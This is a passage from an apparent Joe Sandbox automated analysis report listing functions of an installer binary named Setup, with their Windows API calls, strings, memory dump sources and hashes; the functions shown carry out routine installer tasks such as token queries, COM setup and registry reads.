                    • Associated: 00000007.00000002.2110889980.000000006CC1A000.00000002.00000001.01000000.00000007.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6cb60000_Setup.jbxd
                    Similarity
                    • API ID: H_prolog3Mutex$CreateErrorLastOpen
                    • String ID: Global\
                    • API String ID: 2685780869-188423391
                    • Opcode ID: beef60f55174c37f84db59cbd1a91389df78e0df3d0a56a20d95a54aa1a5e5be
                    • Instruction ID: a75ca4ebd72352c5a89cf6565c4693ef770a98e51ba704bbb51b57459b669961
                    • Opcode Fuzzy Hash: beef60f55174c37f84db59cbd1a91389df78e0df3d0a56a20d95a54aa1a5e5be
                    • Instruction Fuzzy Hash: 54218E70500285DFDB01DF24C484BAE7BE1EF49329F248459E895DF781CB75D958CBA2
                    Function 6CBA4A3F Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 47COMMON
                    Download Yara Rule
                    APIs
                    • __EH_prolog3.LIBCMT ref: 6CBA4A46
                      • Part of subcall function 6CBB833E: __EH_prolog3.LIBCMT ref: 6CBB8345
                    Strings
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110736834.000000006CB61000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CB60000, based on PE: true
                    • Associated: 00000007.00000002.2110711538.000000006CB60000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110812459.000000006CC0E000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110838065.000000006CC0F000.00000008.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110865068.000000006CC17000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110889980.000000006CC1A000.00000002.00000001.01000000.00000007.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6cb60000_Setup.jbxd
                    Similarity
                    • API ID: H_prolog3
                    • String ID: evaluates to 'in maintenance mode'$ evaluates to 'not in maintenance mode'$MaintenanceMode determination$evaluating EnterMaintenanceModeIf
                    • API String ID: 431132790-4185790000
                    • Opcode ID: 8802f02982d5b786fa2e52501e862466f0feb3ab26ea698b2efe4bfd5b246c1e
                    • Instruction ID: 3cef893b636d74559733c86814e7a79420b74115b7f44c6761cfe7f31dab5e92
                    • Opcode Fuzzy Hash: 8802f02982d5b786fa2e52501e862466f0feb3ab26ea698b2efe4bfd5b246c1e
                    • Instruction Fuzzy Hash: 4C11AC71800189AFCF00DBA8C844BEEBBB8AF05208F148456E550ABB81C771DA09CB91
                    Function 6CBCA4AF Relevance: 7.7, APIs: 5, Instructions: 163COMMON
                    Download Yara Rule
                    APIs
                    • __EH_prolog3.LIBCMT ref: 6CBCA4B6
                    • GetTokenInformation.KERNELBASE(?,00000001,00000000,00000000,?,?,?,6CBCA210,?,00000000,?,?,6CBB4B23), ref: 6CBCA523
                    • GetTokenInformation.KERNELBASE(?,00000001,00000000,00000008,00000008,00000008,?,?,6CBCA210,?,00000000,?,?,6CBB4B23), ref: 6CBCA566
                    • LookupAccountSidW.ADVAPI32(00000000,00000000,00000000,00000008,00000010,00000008,6CBB4614,00000008,00000104,?,?,6CBCA210,?,00000000), ref: 6CBCA59C
                      • Part of subcall function 6CBD8AFC: _wcsnlen.LIBCMT ref: 6CBD8B0C
                    • CloseHandle.KERNEL32(?,?,?,6CBCA210,?,00000000,?,?,6CBB4B23), ref: 6CBCA5CF
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110736834.000000006CB61000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CB60000, based on PE: true
                    • Associated: 00000007.00000002.2110711538.000000006CB60000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110812459.000000006CC0E000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110838065.000000006CC0F000.00000008.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110865068.000000006CC17000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110889980.000000006CC1A000.00000002.00000001.01000000.00000007.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6cb60000_Setup.jbxd
                    Similarity
                    • API ID: InformationToken$AccountCloseH_prolog3HandleLookup_wcsnlen
                    • String ID:
                    • API String ID: 1930416738-0
                    • Opcode ID: cb46c9a732505715ac2c724cb714d8ff9fba188022615fd4575603d04bdc5290
                    • Instruction ID: 3c39cccd060983d63efa0a11e8898cfa4c400a8ca2ab804545a9726ffe56ccc2
                    • Opcode Fuzzy Hash: cb46c9a732505715ac2c724cb714d8ff9fba188022615fd4575603d04bdc5290
                    • Instruction Fuzzy Hash: 92616D729001899FDF01CFA8CC45AEE7BB5BF04328F114619F960A7790DB75DA15CBA1
                    Function 6CBB4880 Relevance: 7.6, APIs: 5, Instructions: 136threadCOMMON
                    Download Yara Rule
                    APIs
                    • __EH_prolog3_GS.LIBCMT ref: 6CBB488A
                      • Part of subcall function 6CBB31D3: __EH_prolog3_catch.LIBCMT ref: 6CBB31DA
                      • Part of subcall function 6CBB31D3: _free.LIBCMT ref: 6CBB3269
                    • GetCurrentThread.KERNEL32 ref: 6CBB495F
                    • OpenThreadToken.ADVAPI32(00000000,00000008,00000001,?), ref: 6CBB4971
                    • GetCurrentProcess.KERNEL32 ref: 6CBB497B
                    • OpenProcessToken.ADVAPI32(00000000,00000008,?), ref: 6CBB498B
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110736834.000000006CB61000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CB60000, based on PE: true
                    • Associated: 00000007.00000002.2110711538.000000006CB60000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110812459.000000006CC0E000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110838065.000000006CC0F000.00000008.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110865068.000000006CC17000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110889980.000000006CC1A000.00000002.00000001.01000000.00000007.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6cb60000_Setup.jbxd
                    Similarity
                    • API ID: CurrentOpenProcessThreadToken$H_prolog3_H_prolog3_catch_free
                    • String ID:
                    • API String ID: 4058884840-0
                    • Opcode ID: 302608b656ad3a0f22ce4951181cce6787d8b4a334df59d3038167df32ed28f1
                    • Instruction ID: cb7bbad2faca4bdf3552092c31b04ae3d86d7f31ea5c54bd2a39fab1806a76e5
                    • Opcode Fuzzy Hash: 302608b656ad3a0f22ce4951181cce6787d8b4a334df59d3038167df32ed28f1
                    • Instruction Fuzzy Hash: E05105B190029A8BCB24DF64C985BEDBBB4BF14304F5045E9D55AB7680EF706E88CF61
                    Function 6CB95CE1 Relevance: 7.6, APIs: 5, Instructions: 113comCOMMON
                    Download Yara Rule
                    APIs
                    • __EH_prolog3.LIBCMT ref: 6CB95CE8
                      • Part of subcall function 6CB8A8CC: __EH_prolog3.LIBCMT ref: 6CB8A8D3
                      • Part of subcall function 6CB8A8CC: PathIsRelativeW.SHLWAPI(00000000,00000000,?,?,?,?,?,00000001,?,UiInfo.xml,?,?,00000000,?), ref: 6CB8A90B
                      • Part of subcall function 6CB8A8CC: GetModuleFileNameW.KERNEL32(00000010,00000104,?,?,?,?,00000001,?,UiInfo.xml,?,?,00000000,?), ref: 6CB8A964
                      • Part of subcall function 6CB8A8CC: __CxxThrowException@8.LIBCMT ref: 6CB8AA28
                    • CoInitialize.OLE32(00000000), ref: 6CB95D1A
                    • CoCreateInstance.OLE32(6CB7A974,00000000,00000017,6CB7A9A4,?,?,?,00000014,6CB95F14,?,?,?,?,564FE71B,ParameterInfo.xml,00000000), ref: 6CB95D38
                    • CoUninitialize.COMBASE(?,?,00000014,6CB95F14,?,?,?,?,564FE71B,ParameterInfo.xml,00000000,?,ParameterInfo.xml,?,00000000,?), ref: 6CB95DE8
                    • SysFreeString.OLEAUT32(00000738), ref: 6CB95DF1
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110736834.000000006CB61000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CB60000, based on PE: true
                    • Associated: 00000007.00000002.2110711538.000000006CB60000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110812459.000000006CC0E000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110838065.000000006CC0F000.00000008.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110865068.000000006CC17000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110889980.000000006CC1A000.00000002.00000001.01000000.00000007.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6cb60000_Setup.jbxd
                    Similarity
                    • API ID: H_prolog3$CreateException@8FileFreeInitializeInstanceModuleNamePathRelativeStringThrowUninitialize
                    • String ID:
                    • API String ID: 2737710906-0
                    • Opcode ID: dcf58acbe328d9c7c09a22bb066eccdaaf85d36b31ff3c938bcadd3dd22b9310
                    • Instruction ID: 3cddd93b3b65c67c26b7bcf0d734507b8eb9455dea87d157481142ff9f89030c
                    • Opcode Fuzzy Hash: dcf58acbe328d9c7c09a22bb066eccdaaf85d36b31ff3c938bcadd3dd22b9310
                    • Instruction Fuzzy Hash: F4416A70A00289EFDF00CFA4C888AAEBBB5FF46309F248568F555DB251C735DA49CB61
                    Function 6CBC9BB9 Relevance: 7.6, APIs: 5, Instructions: 97COMMON
                    Download Yara Rule
                    APIs
                    • __EH_prolog3.LIBCMT ref: 6CBC9BC3
                      • Part of subcall function 6CBB833E: __EH_prolog3.LIBCMT ref: 6CBB8345
                      • Part of subcall function 6CB8A8CC: __EH_prolog3.LIBCMT ref: 6CB8A8D3
                      • Part of subcall function 6CB8A8CC: PathIsRelativeW.SHLWAPI(00000000,00000000,?,?,?,?,?,00000001,?,UiInfo.xml,?,?,00000000,?), ref: 6CB8A90B
                      • Part of subcall function 6CB8A8CC: GetModuleFileNameW.KERNEL32(00000010,00000104,?,?,?,?,00000001,?,UiInfo.xml,?,?,00000000,?), ref: 6CB8A964
                      • Part of subcall function 6CB8A8CC: __CxxThrowException@8.LIBCMT ref: 6CB8AA28
                    • GetCommandLineW.KERNEL32(?,?,6CB7A794,?,?,00000164,6CBA4730,-00000960,6CB7A794,?,?,?,6CBCB57F,?,00000000,?), ref: 6CBC9BEF
                      • Part of subcall function 6CB83E77: __EH_prolog3.LIBCMT ref: 6CB83E7E
                    • SysFreeString.OLEAUT32(?), ref: 6CBC9C42
                    • SysFreeString.OLEAUT32(6CBBFA6E), ref: 6CBC9CCC
                    • SysFreeString.OLEAUT32(?), ref: 6CBC9CF3
                      • Part of subcall function 6CBA473C: __EH_prolog3_catch.LIBCMT ref: 6CBA4746
                      • Part of subcall function 6CBA473C: CoInitialize.OLE32(00000000), ref: 6CBA47F7
                      • Part of subcall function 6CBA473C: CoCreateInstance.OLE32(6CB7A974,00000000,00000017,6CB7A9A4,?,?,?,?,?,6CB83864,?,00000000,00000000,6CBBFA6E,00000738,IronMan::EngineData::CreateEngineData), ref: 6CBA4815
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110736834.000000006CB61000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CB60000, based on PE: true
                    • Associated: 00000007.00000002.2110711538.000000006CB60000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110812459.000000006CC0E000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110838065.000000006CC0F000.00000008.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110865068.000000006CC17000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110889980.000000006CC1A000.00000002.00000001.01000000.00000007.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6cb60000_Setup.jbxd
                    Similarity
                    • API ID: H_prolog3$FreeString$CommandCreateException@8FileH_prolog3_catchInitializeInstanceLineModuleNamePathRelativeThrow
                    • String ID:
                    • API String ID: 3727545618-0
                    • Opcode ID: cc0fb6567842973f1babaaf31d71acabb2a0bceb4b2a5bbd55ee13d411a309ea
                    • Instruction ID: 99f5d56d8f15ec50d6a2d375ba63b5fcc09094e4d1ade90462cf8a6b2ac564c3
                    • Opcode Fuzzy Hash: cc0fb6567842973f1babaaf31d71acabb2a0bceb4b2a5bbd55ee13d411a309ea
                    • Instruction Fuzzy Hash: 8641257280028DEFCF01DFE4CC44AEEBBB8AF05318F144155F515A7690CB34AA199FA2
                    Function 6CBE0F64 Relevance: 7.6, APIs: 5, Instructions: 68COMMONLIBRARYCODE
                    Download Yara Rule
                    APIs
                    • _malloc.LIBCMT ref: 6CBE0F72
                      • Part of subcall function 6CBDBFB3: __FF_MSGBANNER.LIBCMT ref: 6CBDBFCC
                      • Part of subcall function 6CBDBFB3: __NMSG_WRITE.LIBCMT ref: 6CBDBFD3
                      • Part of subcall function 6CBDBFB3: RtlAllocateHeap.NTDLL(00000000,00000001,?,6CBB831D,00000000,?,6CBDC0C9,6CBBF845,00000C00,00000020,6CBBF845,?), ref: 6CBDBFF8
                    • _free.LIBCMT ref: 6CBE0F85
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110736834.000000006CB61000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CB60000, based on PE: true
                    • Associated: 00000007.00000002.2110711538.000000006CB60000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110812459.000000006CC0E000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110838065.000000006CC0F000.00000008.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110865068.000000006CC17000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110889980.000000006CC1A000.00000002.00000001.01000000.00000007.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6cb60000_Setup.jbxd
                    Similarity
                    • API ID: AllocateHeap_free_malloc
                    • String ID:
                    • API String ID: 1020059152-0
                    • Opcode ID: 4512c768d7eb76ea8c4c645e15fa8e2a027182549dcab283413c4cfe52b277e4
                    • Instruction ID: 40b6b962d4458e953d9ffbd4be10d00f93ee53e1283d038a99bfc3fbe48af72b
                    • Opcode Fuzzy Hash: 4512c768d7eb76ea8c4c645e15fa8e2a027182549dcab283413c4cfe52b277e4
                    • Instruction Fuzzy Hash: F611E2329482D1AFCF111F75F904B8E3BA8EF497E4B2A4525E848ABA40DF34D45096D1
                    Function 6CB85349 Relevance: 7.5, APIs: 5, Instructions: 41windowCOMMONLIBRARYCODE
                    Download Yara Rule
                    APIs
                    • __EH_prolog3.LIBCMT ref: 6CB85350
                      • Part of subcall function 6CB84D35: __EH_prolog3.LIBCMT ref: 6CB84D3C
                    • OutputDebugStringW.KERNEL32(?,?,?,00000008,6CBB63AF,000013EC,?,00000000,?,?,ReportingFlags,?,-0000000D,?,?,6CB64A4C), ref: 6CB85371
                      • Part of subcall function 6CBD8B3A: SysFreeString.OLEAUT32(00000000), ref: 6CBD8B47
                      • Part of subcall function 6CBD8B3A: SysAllocString.OLEAUT32(00000000), ref: 6CBD8B56
                    • FormatMessageW.KERNEL32(00001100,00000000,?,00000400,000013EC,00000000,00000000,?,?,00000008,6CBB63AF,000013EC,?,00000000,?,?), ref: 6CB85398
                    • OutputDebugStringW.KERNEL32(000013EC,?,-0000000D,?,?,6CB64A4C,?,?,00000000,?,?,FilesToKeep,?,?,?,00000000), ref: 6CB853A5
                    • LocalFree.KERNEL32(000013EC,000013EC,?,-0000000D,?,?,6CB64A4C,?,?,00000000,?,?,FilesToKeep,?,?,?), ref: 6CB853B6
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110736834.000000006CB61000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CB60000, based on PE: true
                    • Associated: 00000007.00000002.2110711538.000000006CB60000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110812459.000000006CC0E000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110838065.000000006CC0F000.00000008.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110865068.000000006CC17000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110889980.000000006CC1A000.00000002.00000001.01000000.00000007.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6cb60000_Setup.jbxd
                    Similarity
                    • API ID: String$DebugFreeH_prolog3Output$AllocFormatLocalMessage
                    • String ID:
                    • API String ID: 3239379132-0
                    • Opcode ID: a02449d9110355ac927bf46a0fc4d3e841ce8f08e29a6f624fc2cbbb22f615ee
                    • Instruction ID: b1231c87c01f76b3ef403570acf2e92adabc897e37930a353df9d8cc8163f3f5
                    • Opcode Fuzzy Hash: a02449d9110355ac927bf46a0fc4d3e841ce8f08e29a6f624fc2cbbb22f615ee
                    • Instruction Fuzzy Hash: B3015A7191128AEFDF01AFA0CC049FF7A35FF04249B104529B612E7690DB729904DB26
                    Function 6CB92E48 Relevance: 7.3, APIs: 1, Strings: 3, Instructions: 253COMMON
                    Download Yara Rule
                    APIs
                    • __EH_prolog3.LIBCMT ref: 6CB92E4F
                      • Part of subcall function 6CBB9653: _free.LIBCMT ref: 6CBB9698
                    Strings
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110736834.000000006CB61000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CB60000, based on PE: true
                    • Associated: 00000007.00000002.2110711538.000000006CB60000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110812459.000000006CC0E000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110838065.000000006CC0F000.00000008.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110865068.000000006CC17000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110889980.000000006CC1A000.00000002.00000001.01000000.00000007.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6cb60000_Setup.jbxd
                    Similarity
                    • API ID: H_prolog3_free
                    • String ID: evaluated to false$ evaluated to true$BlockIf
                    • API String ID: 2248394366-2909538125
                    • Opcode ID: 694816f3820a0f11d0f59125c22a6d761129576d3d0b28bbf645b137507c6d6b
                    • Instruction ID: a3e84f41c32225523be773b57189aa5aa320035bff3377348382cee26d2ce8a4
                    • Opcode Fuzzy Hash: 694816f3820a0f11d0f59125c22a6d761129576d3d0b28bbf645b137507c6d6b
                    • Instruction Fuzzy Hash: B6A13A71900289DFCF00CFA8C984ADEBBB5FF09318F1545A9E419AB751D731E909CB62
                    Function 6CBB4513 Relevance: 7.3, APIs: 1, Strings: 3, Instructions: 251COMMON
                    Download Yara Rule
                    APIs
                    • __CxxThrowException@8.LIBCMT ref: 6CBB45A2
                      • Part of subcall function 6CBB833E: __EH_prolog3.LIBCMT ref: 6CBB8345
                      • Part of subcall function 6CB88329: __EH_prolog3.LIBCMT ref: 6CB88330
                      • Part of subcall function 6CB88129: SetFilePointer.KERNEL32(?,?,?,00000000,?,?,?,6CB8AA3A,?,00000000,00000000,00000002,?,80000000,00000001,00000003), ref: 6CB88149
                    Strings
                    • .htm, xrefs: 6CBB4763
                    • Cannot create file or delete file in Temp directory , xrefs: 6CBB45C5
                    • Cannot get valid temp folder, xrefs: 6CBB456D
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110736834.000000006CB61000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CB60000, based on PE: true
                    • Associated: 00000007.00000002.2110711538.000000006CB60000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110812459.000000006CC0E000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110838065.000000006CC0F000.00000008.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110865068.000000006CC17000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110889980.000000006CC1A000.00000002.00000001.01000000.00000007.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6cb60000_Setup.jbxd
                    Similarity
                    • API ID: H_prolog3$Exception@8FilePointerThrow
                    • String ID: .htm$Cannot create file or delete file in Temp directory $Cannot get valid temp folder
                    • API String ID: 1975055723-2150540039
                    • Opcode ID: 5f75665361c0780d1559cb6736b8d8e01c3dad9f042800fec48bd884e51a1f38
                    • Instruction ID: 607a32f9f1dc3925ec3970881073b0d52c8a9969817aa2de52c76ff181602c18
                    • Opcode Fuzzy Hash: 5f75665361c0780d1559cb6736b8d8e01c3dad9f042800fec48bd884e51a1f38
                    • Instruction Fuzzy Hash: 66A14B711083859FD710DF69C840B9EBBE8BF85328F044A1EF4A4A7A91DB75D9098B63
                    Function 6CBA2E7C Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 192COMMON
                    Download Yara Rule
                    APIs
                    • __EH_prolog3.LIBCMT ref: 6CBA2E83
                      • Part of subcall function 6CBB833E: __EH_prolog3.LIBCMT ref: 6CBB8345
                      • Part of subcall function 6CBA2DBC: __EH_prolog3.LIBCMT ref: 6CBA2DC3
                      • Part of subcall function 6CBB91D4: __EH_prolog3.LIBCMT ref: 6CBB91DB
                      • Part of subcall function 6CBB91D4: __recalloc.LIBCMT ref: 6CBB921D
                    Strings
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110736834.000000006CB61000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CB60000, based on PE: true
                    • Associated: 00000007.00000002.2110711538.000000006CB60000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110812459.000000006CC0E000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110838065.000000006CC0F000.00000008.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110865068.000000006CC17000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110889980.000000006CC1A000.00000002.00000001.01000000.00000007.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6cb60000_Setup.jbxd
                    Similarity
                    • API ID: H_prolog3$__recalloc
                    • String ID: No ProcessBlock element$ProcessBlock added$ProcessBlocks
                    • API String ID: 1900422986-3251087430
                    • Opcode ID: 29695a35cd50281ab96d409b67407316e03f7a5c8367403122735b60646bf6c6
                    • Instruction ID: 6e0fa44c264895c44a399f8d2dcd18a1a7c3763c08b6da03e84c8718a9ad9597
                    • Opcode Fuzzy Hash: 29695a35cd50281ab96d409b67407316e03f7a5c8367403122735b60646bf6c6
                    • Instruction Fuzzy Hash: 8F712B70A04289DFCF00CFA9C988AAEBBB5FF49308F244469E555EB791C7319E45CB61
                    Function 6CBA31C4 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 192COMMON
                    Download Yara Rule
                    APIs
                    • __EH_prolog3.LIBCMT ref: 6CBA31CB
                      • Part of subcall function 6CBB833E: __EH_prolog3.LIBCMT ref: 6CBB8345
                      • Part of subcall function 6CBA3104: __EH_prolog3.LIBCMT ref: 6CBA310B
                      • Part of subcall function 6CBB91D4: __EH_prolog3.LIBCMT ref: 6CBB91DB
                      • Part of subcall function 6CBB91D4: __recalloc.LIBCMT ref: 6CBB921D
                    Strings
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110736834.000000006CB61000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CB60000, based on PE: true
                    • Associated: 00000007.00000002.2110711538.000000006CB60000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110812459.000000006CC0E000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110838065.000000006CC0F000.00000008.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110865068.000000006CC17000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110889980.000000006CC1A000.00000002.00000001.01000000.00000007.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6cb60000_Setup.jbxd
                    Similarity
                    • API ID: H_prolog3$__recalloc
                    • String ID: No ServiceBlock element$ServiceBlock added$ServiceBlocks
                    • API String ID: 1900422986-3373415214
                    • Opcode ID: f3c9fa4a1c4882980abaa435a61ee710b2ca04585e1dacfe8f000f46723068ea
                    • Instruction ID: e367ae9f0d8595f164a5016c1e14fa54c7cb6e0797711098bed4f4409fe101e5
                    • Opcode Fuzzy Hash: f3c9fa4a1c4882980abaa435a61ee710b2ca04585e1dacfe8f000f46723068ea
                    • Instruction Fuzzy Hash: A3711B70A04289DFDF00DFE8C884AAEBBB5FF49308F244469E555EB791C7319A45CB61
                    Function 6CBB72E4 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 157COMMON
                    Download Yara Rule
                    APIs
                    • __EH_prolog3_catch.LIBCMT ref: 6CBB72EB
                      • Part of subcall function 6CB843C4: __EH_prolog3.LIBCMT ref: 6CB843CB
                      • Part of subcall function 6CBB833E: __EH_prolog3.LIBCMT ref: 6CBB8345
                      • Part of subcall function 6CBB8ED0: __EH_prolog3.LIBCMT ref: 6CBB8ED7
                      • Part of subcall function 6CBB8ED0: PathFindExtensionW.SHLWAPI(?,00000004,6CBB7362,?,?,?,00000000,?,?), ref: 6CBB8F01
                      • Part of subcall function 6CBDC0AA: _malloc.LIBCMT ref: 6CBDC0C4
                      • Part of subcall function 6CBB3B2B: __EH_prolog3.LIBCMT ref: 6CBB3B32
                      • Part of subcall function 6CBB3B2B: InitializeCriticalSection.KERNEL32(00000002,?,00000000,00000000,00000002,?,?,00000000,?,?,?,?,00000008,6CBBEC79,?,?), ref: 6CBB3BC9
                    Strings
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110736834.000000006CB61000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CB60000, based on PE: true
                    • Associated: 00000007.00000002.2110711538.000000006CB60000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110812459.000000006CC0E000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110838065.000000006CC0F000.00000008.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110865068.000000006CC17000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110889980.000000006CC1A000.00000002.00000001.01000000.00000007.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6cb60000_Setup.jbxd
                    Similarity
                    • API ID: H_prolog3$CriticalExtensionFindH_prolog3_catchInitializePathSection_malloc
                    • String ID: .htm$.html$.txt
                    • API String ID: 2678321574-1806469533
                    • Opcode ID: 2b854efbbb9ce86cc88a31ffe386dd1bb1b975a4cdedfd4418c71d8ab4fe5e64
                    • Instruction ID: 5488f5145e9e24ad1155e4817eeafbdce2c886eef6717b0ce0ae95c92519b666
                    • Opcode Fuzzy Hash: 2b854efbbb9ce86cc88a31ffe386dd1bb1b975a4cdedfd4418c71d8ab4fe5e64
                    • Instruction Fuzzy Hash: 6B5151309042C9DEDF10DBA8C945BEEBBE8AF05318F104565E454FB790DFB59A088B72
                    Function 6CBBA622 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 111COMMON
                    Download Yara Rule
                    APIs
                    Strings
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110736834.000000006CB61000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CB60000, based on PE: true
                    • Associated: 00000007.00000002.2110711538.000000006CB60000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110812459.000000006CC0E000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110838065.000000006CC0F000.00000008.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110865068.000000006CC17000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110889980.000000006CC1A000.00000002.00000001.01000000.00000007.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6cb60000_Setup.jbxd
                    Similarity
                    • API ID: ErrorH_prolog3Last
                    • String ID: DW\DW20.exe$Failed to record SetupFlags
                    • API String ID: 685212868-3543485478
                    • Opcode ID: 856f9f9d859d49d0793f477043b848cc8415fb541dc8fb3ed8696b49b860d72d
                    • Instruction ID: 75c0790a1e854deafb40b683eb55362363d84616500d1f55433d7d9216437ac8
                    • Opcode Fuzzy Hash: 856f9f9d859d49d0793f477043b848cc8415fb541dc8fb3ed8696b49b860d72d
                    • Instruction Fuzzy Hash: CF417C71A00189DFCB00DBB8C845AEEBBB5BF05358F154659E411AB781CB75EA098BA1
                    Function 6E0C3E29 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 106registryCOMMON
                    Download Yara Rule
                    APIs
                    • RegOpenKeyExW.KERNEL32(?,?,00000000,-00020018,00000000,80000002,CEIPEnable,00000002), ref: 6E0C3E94
                    • RegQueryValueExW.KERNEL32(00000000,00000002,00000000,?,?,00000004), ref: 6E0C3EB0
                    • RegCloseKey.ADVAPI32(00000000), ref: 6E0C3ECE
                    Strings
                    Memory Dump Source
